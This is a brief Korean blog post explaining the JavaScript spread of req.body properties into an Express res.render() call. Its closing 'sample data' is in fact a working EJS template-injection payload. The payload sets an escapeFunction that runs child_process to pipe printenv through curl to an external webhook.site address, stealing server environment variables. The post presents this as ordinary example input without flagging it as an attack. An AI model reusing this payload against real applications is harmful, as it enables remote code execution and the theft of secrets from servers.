웹 개념/javascript

객체 분할 할당

우제혁 2023. 7. 5. 00:13

 

 

 

...id는 객체 분해 할당(destructuring assignment)의 문법입니다. 이 경우, req.body 객체에서 id 속성을 추출하여 새로운 객체로 만든다.

 

...id는 객체의 속성을 그대로 가져와서 새로운 객체로 할당하는 역할을 한다.

이를 통해 id 객체의 속성들을 개별적인 변수로 분해하지 않고, 한 번에 새로운 객체로 만들 수 있다.

 

따라서, res.render() 메서드에서 ...id를 사용함으로써, id 객체의 모든 속성들을 admin 템플릿으로 전달하는 것이 가능해진다.

 

이렇게 함으로써 admin 템플릿에서는 id 객체의 속성들을 개별적인 변수로 사용할 수 있게 된다.

 

 

넘겨 받는 데이터 예시

<script>
(async () => {
    const r = await fetch('/api/messages', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
            id: {
                settings: {
                    'view options': {
                        client: true,
                        escapeFunction: '1;process.mainModule.require(`child_process`).exec(`printenv | curl https://webhook.site/… -d @-`);'
                    }
                }
            }
        })
    });
})();
</script>